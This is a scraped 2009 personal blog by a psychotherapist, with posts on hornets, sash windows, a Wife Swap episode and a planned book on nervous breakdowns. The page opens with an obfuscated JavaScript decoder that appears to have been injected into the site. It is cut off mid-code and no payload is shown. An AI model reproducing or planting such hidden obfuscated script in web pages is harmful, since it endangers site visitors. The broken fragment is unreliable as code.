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function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe the hornets.">Goldilocks and the hornets. August 29, 2009

Posted by janehaynes in : Thinking skywards , 2comments

Goldilocks was never my favourite fairy story; (I much preferred Sleeping Beauty, or Beauty and the Beast, and I always found the dwarfs in Snowhite dead boring) particularly when I discovered that the word 'Goldilocks' was a Jacobean gibe for the ravages of syphilis with its ginger rash across the hairline. Yet,  it is Goldilocks' anxiety of not finding something that is just right - particularly when I sit down in a restaurant - let alone when I spend the day with a friend, or family, that so often comes into mind. Then, I am blissed-out if it's OK.

It happened  this morning when I treated myself to a forbidden cappachino and it was lukewarm: a cappachino can only  disappoint unless the heated milk is  just right and like so many things that require a small, if particular skill, it rarely is. I cannot think of anything more disappointing than a cappachino in which  the milk beneath its froth is either too hot or too cold, except  a hotel bedroom without access to a thermostat. I don't think that life is often just right but I'm still not much good at compromise. I think that's why flies were delivered into the universe, to remind us of our Fall. Even idyllic places are flawed by a bluebottle, a midnight mosquito, let alone a hornet, or a scorpion's arcane shadow on the wall.  That's why I love Emily Dickinson's poem, 'I heard a fly buzz when I died'; maybe her lines were inspired by Keat's 'Ode To A Nightingale' where he counterpoints the anticipated perfection of ' the coming musk rose' with his 'murmurous haunt of flies, (not bees) on summer eves'. 

This summer our daughter spent her holiday in France in the unsolicited company of  a hornet-swarm. She couldn't locate their nest, so nobody could advise her what to do with her anxiety except to remain vigilant and to keep all the shutters closed at all times despite the heat-wave for hornets, she was warned, like Goldilocks, are partial to cool, clean sheets. And their sting can kill. Every night, as she turned on her bedroom light, the hornets slammed against her shutters with scifi sound effects, longing for her bedroom-cool. Nothing felt just right: all she could do was either to evacuate, or to adapt herself to their nightly vigil. On the final hour of departure when she threw open the shutters for the first time and there - suspended between the shutters and veranda glass - was the largest hornet's nest that the gardener later reported ever having seen. My daughter gasped at its pale beauty and linty trails of  weave. As she looked back towards the house she was taken by  surprise at how sad she was feeling at the thought that her companions, once so close to her in their proximity now, with her absence, faced extinction.

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Hilary Mantel and Jane Haynes in conversation. August 29, 2009

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Hilary MantelCopyright John Haynes 2006: Hilary at home.

This is a conversation between Hilary Mantel and Jane Haynes on: Mind, Memory, Mood and Sleep. July 2009.

Please listen here:

John Haynes’ photograph of the week: ‘Bacchante couchee’ August 28, 2009

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Copyright John Haynes 2008: Auguste Clesinger,  ‘Bacchante couchee’ 1848.Paris 11-07 068 copy copy

Quote/Word of the week August 28, 2009

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QUOTE OF THE WEEK: The sorrow that hath no vent in tears makes other organs weep. Sir Henry Maudsley.

WORD OF THE WEEK: Qualia: (from Quale 1675: The qualities of a thing).

These are recognizable qualitative characters of the given, which may be repeated in different experiences, and are a category of universals. They are ineffable ; that is, they cannot be communicated, or apprehended by any other means than direct experience.

For example as in Proust's discussion of sensation in The Prisoner and The Fugitive:

'Sometimes I thought that the reason was that the things we feel in life are not experienced in the form of ideas, and so their translation into literature, an intellectual process, may give an account of them, explain them, analyze them, but cannot recreate them as music does, its sounds seeming to take on the inflections of our being, to reproduce that inner, extreme point of sensation which is the thing that causes us specific ecstasy we feel from time to time and which, when we say, 'What a beautiful day! What beautiful sunshine!', is not conveyed at all to our neighbour, in whom the sun and weather set off quite different vibrations.'


Quotes of the week August 20, 2009

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An excerpt from my doctor’s e-mail when I complained to him about the side effects of a medication:

‘Dear Jane,

A very famous American Professor of Pharmacology,  Prof. Oliver Wendel Holmes Sr. (1809-1894)  said over a hundred years ago:

“If all medications bar seven were thrown into the sea it would do much good to the human race and much harm to the fish".
 He was a clever man as he never mentioned which seven drugs were good for the human race! However my Professor of Pharmacology use to often ask us in our final examinations as to which seven drugs would we keep in our "doctors bag? This medicine is clearly not for you and we might even consider 'throwing' it into the Thames." 

When I expressed my appreciation it was followed up by another quotation by Mark Twain:

"Be careful of reading health books. You may die from a misprint."

John Haynes’ photo of the week: Tiger, Tiger. August 20, 2009

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Tiger copyCopyright John Haynes December 2004

Becoming an expert August 19, 2009

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The other day I realized that I could no longer turn a blind eye to the fact that the windows on the fourth storey of our house are about to fall out of their frames. Imagine, they have been in situ since 1870 when the house was built. Imagine, how many people in different emotional states have looked out onto the horizon from the windows across a street in which only the trees and its occupants have changed. As I looked across the street I couldn’t see a new window anywhere, at least not from the top floor. It wasn’t just one Victorian sash window but five of them that now craved for urgent replacement before the winter sets in.

I knew nothing at all about windows, or glass, or FENSA insurance and John doesn’t know that he has a fourth floor, let alone what a sash is. Two weeks on, I think I know all there is to know about Victorian ‘like for like’ original sash replacements. I could even measure and estimate for my neighbours. The council informed me that as we live in a conservation area we didn’t really have a choice; it had to be ‘like for like’ whatever the cost, and that anyway they didn’t allow UPVC, whatever that was because it was not bio-degradable.

To begin with I had no idea what they were talking about but was impressed with their ecology. Now, I know that UPVC window frames, despite the fact that they cost one quarter of the price compared to a hardwood like Siberian larch or Meranti, poetry to conjure, let alone construct with, are beyond frightful and should be banned forever. What is even more frightening is that Camden council are - despite their professed concerns about the environment – still their biggest fans. A Camden council property probably doesn’t exist that doesn’t have UPVC replacement window frames! I cannot believe the hypocrisy of their planning department. And, it turns out that since some EU act in the early years of this century all replacement windows also have to be double- glazed, so I have no authority over my windows, or my house. I have now, out of necessity become an expert in window frames and I know that I will accept nothing less than Siberian larch. Don’t mention Meranti to me.

I was struck by another sort of expertise the other night, which took me by surprise and that was the intuitive intelligence and social expertise to be found in the disgraced  ex football manager, Ron Atkinson’s wife, Maggie Atkinson. (I cannot think of a better example of the Talon Law of an eye for an eye, a tooth for a tooth that his consequent professional annhilation offers to us.)

I rarely watch TV but on Sunday night John alerted me to a programme called Revelations in which five leaders of faith were to be interviewed about their faiths. It was as disappointing to me as the UPVC windows, perhaps with the vivid exception of Vincent Nichols describing how he wrestled with his inner messengers, or maybe they were angels, who insisted on calling him to God, as he sat as a spectator on the Liverpool football pitch when he only wanted to be left alone as one of the crowd. It was not to be.

And, the Chief Rabbi, Jonathan Sacks also surprised me by his admirable combination of domestic commitment to the community of Judaism and his lofty and erudite exegesis of the Torah, and his lack of dogma, at least in this context, when he declared that any concrete interpretation of the scriptures was ‘heresy’. He combined the Shakespearian ‘high and low styles’ within minutes of exposure. Of the others, well, where one cannot speak one is always best counseled to remain silent…

For me the highlight of my rare TV viewing was not in Revelations but Wife Swop. This Wife Swop was between the disgraced football manager and commentator Ron Atkinson and his wife of over twenty-five years, Maggie and the Olympics winner Tessa Anderson and her partner, former judo champion Densign White. Tessa must have been every bit as much of a shrew as Kate in her younger days, but her politicized thrusts, heavily endorsed by the producer, didn’t work on Ron who just yelled at the cameras to ‘Get off’ him whenever Tessa tried to manipulate him to disclose about the regrettable moment when he called Chelsea player Marcel Desailly – a  “lazy thick n****r” – was broadcast when he thought the microphone was switched off. The only thing to bear in mind is that Atkinson was also one of the first managers to promote, inspire and work with black players. And, that so often it is  unwitting prejudice that can be more pernicious and which can silently permeate political correctness. 

Wife Maggie, too old to be a WAG, at first looked to be a most unlikely star in the making but she turned out to be the only one with intuitive powers of transformation and also to be an expert in the arts of TLC, despite her enthusiasm in using plastic arts to confuse her body into a Barbie doll.

It was magic to watch her convince terse Densign that he was emotionally neglecting Tessa and then to witness her tutorial helping him to construct a surprise goodies box for Tessa’s return. More sad magic when Maggie tried to find out if Densign and Tessa had ever shared a magic song and to watch how he just couldn’t get what she was going on about. Maggie kept telling us how useless she now felt not having bothered to find any role in her life, other than being the “spoiled” wife of a celebrity; then to see how she used her gardening arts as she helped Densign to plant a bowery in his gardena as another surprise for Tessa to return to: ‘A rosy sanctuary will I dress’ for them to laze about in the newly installed hammock and to later see them breakfast in. Later  on, we witness the genuine appreciation of Densign for Maggie's relational skills to fill the gaps in his limited emotional repertoire. 

There was another split magic moment of transformation in Ron’s mansion when he was made to invite his mates to dinner with Tessa and he broke into singsong. His body animated into natural rhythms and timing as its ‘pain’ dissolved and I knew that this sad and careworn man must still be a Great Master in the arts of timing a ball, or two…

Back to Maggie now - as how attentively and without defence - she listened to Densign tactfully explain to her the semantic significance of Ron’s disgrace. He explains: “One of the stereotypes we face is that black people are lazy and work-shy. That’s why people were so offended by what Ron said, because it was reinforcing what people believe about black people.”

Maggie listens: “I’ve learned something. I didn’t realize it was about that.” And she promises to try and explain it to Ron again, but differently, just as Densign has to her. Later, we discover that she was as good as her word and had another chat, wisely offscreen,  with Ron which he shyly agrees at the conclusion has made more difference to his outlook than anything the producers, or the shrew Tessa came near to achieving. Maggie may not have done anything ‘big’ with her life but she undoubtedly has the healing touch. I almost texted the number at the end of the programme to enter myself as a candidate for the next series of Wife Swop.

Afterthought: my grandson Dan is staying with us. It seems that the summer of our discontent is now over although I'm not sure what I'll think when he gets his AS level results tomorrow, seeing that our disagreement was over the fact that not only did he refuse to go to school, which despite being a scholar, or perhaps because of, depressed him,  but he also refused to revise for any of his AS levels, preferring to  sit out in the Mediterranean midday sun and write his epic novel. 

 Dan is leaning over my shoulder and reading my blog and he is offended by Atkinson's treatment. Dan is one quarter Nigerian and his father was murdered in a racist attack but he still finds it offensive that anyone should be judged more for his words than his actions. What, he asks, would be the consequences of a black manager making an equivalent racist remark? Daniel 036 copy

Quotes of the week August 14, 2009

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Nietzsche, Thus Spoke Zarathustra:

“What is love? What is creation? What is yearning? What is a star?” – Thus asks the last human and then blinks.

Tracey Emin, Strangeland:

You know and I know what does and does not make a man. I always loved 'Gulliver's Travels'.  A giant man in a tiny world, a tiny man in a giant world. And there is one line I remember, though perhaps I imagined it: 'I like a tiny man with a lot of spunk in him.'

Well I'm a tiny man and so have I. And I can prove it.

R.D. Laing, (spoken in a strong Glaswegian accent):

'The World Health Organisation cuts no ice with me'.

John Haynes’ photograph of the week R.D. Laing August 14, 2009

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copyright John Haynes 1974

R.D Laing

My book August 12, 2009

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Tomorrow I’m doing my first interview for my book on what it’s like to have ‘A nervous breakdown’. I’ve got so carried away with writing my blogs that I had almost forgotten that the reason for writing a blog began with my book proposal way back in ‘Birthpangs’. Well, the book proposal is now with the agent’s favourite editors; but it’s August and agent and editors are all on summer hols. If I don't make a beginning with the interviews now I shan't have these swathes of time once my 'patients' return from their summer haunts. Anyway, a part of me is tempted to self-publish as I did, at least to begin with, with my last book, and now I know almost everything there is to know about publishing a book and more and more people, since my first attempt, are  doing so, including the Under Cover Economist from the Financial Times, which must mean that he knows a penny or two. One thing that I found out was that even on my small print run of 2000 paperback books with decent paper and matt covers, one copy costs me less than it costs to buy an attractive birthday card, to produce.

I still find it strange that with my first book, Who Is It That Can Tell Me  Who I am? (and it's Shakespeare's grammar not mine, which people can't resist correcting), that it was rejected by almost every publisher in London until much later it was shortlisted for a prize when  I was re- published by Constable Robinson, since when it's been selling well.

Tomorrow, I'm going to interview one of the senior consultant psychiatrists at the Capio Hospital in Lisson Grove, London which is less media well known than the Priory but somewhere I should far rather be if I ever needed to be admitted. (They have the most amazing and wise psychiatric nurses there who are at the heart of its 'therapy'.)Sadly, I don't have the insurance cover to make my admission possible, but then not many people do, as not even private insurance, except at its highest and corporate levels, covers psychiatric in-care. However, it is not that uncommon, when somebody finds that they are in a state of acute and immobilizing emotional crisis, for them, or family members, or good friends to raise money on their mortgage to avoid an admission to an acute NHS ward. At least in London. 

There is nothing I dread more than having a 'patient' tell me that they are suicidal or fear they are breaking down, and for both of us to know that they have no 'sanctuary': be it medical or familial, to which they can retreat and hope and wait for the crisis to subside. It is inhuman that London has no such refuge. At one time the Maudsley Hospital's psychiatric emergency department kept its humane doors open to anybody in the city but now bureaucracy demands that they only admit southern Londoners and everybody else is at worst risk in the NHS acute psychiatric admissions wards.  The performance artist Bobby Baker, whose recent exhibition of her illustrated account of her nine year breakdown was at the Wellcome Museum, records how it was only after she developed breast cancer, almost at the end of her depressive illness,  that she was treated as if she was entitled to concerned care. 

Anyway, and Anyway, along with it are amongst, if not the two most pregnant words in English...Anyway, tomorrow I am doing my first interview and I cannot decide whether to structure it, or to go with the flow. By temperament I go with the flow, but then I worry that that may be an indication of lazyiness and I should challenge the flow with some structure. I've decided that I don't want nameless contributions to the book, either from the professionals or the patients, there is still so much stigma loitering around mental illness that I think we should all put up our hands and be counted. After all, it's almost impossible to explore one family generation anywhere without a case of suicide popping up out of the hawthorn, a bi-polar diagnosis, or a psychotic episode, if not a schizophrenia, or a breakdown. Do you know anybody who has not suffered from serious depression at one time or another? According to the latest statistics, but the facts haven't changed for some years now, from the World Health Organization, depression is the leading cause of disability for those from the ages of 15 to 44 worldwide. 

Anyway, I have to decide what, if any questions, I am going to use in my interview tomorrow. If I can think of any I might post them, or if anybody reading this blog has any thoughts about definitions of a nervous breakdown then please forward your suggestions. 

A picture of our 'sanctuary', but in France there are others like it for 'patients' to retreat to and find themselves. More on that later, maybe.

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John Haynes, Cornillon, C2009

In fact, just in case I don't get around to doing a full blog here are two pictures of The Chartreuse de Valbonne, situated in our local forest, which was the last leper colony in France but which is now used as a retreat for psychologically distressed or recovering people. The flowers are a field of cosmos which was planted by the residents as 'therapy'. To everything there is a season and a time under the heaven.

 

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Copyright John Haynes 2008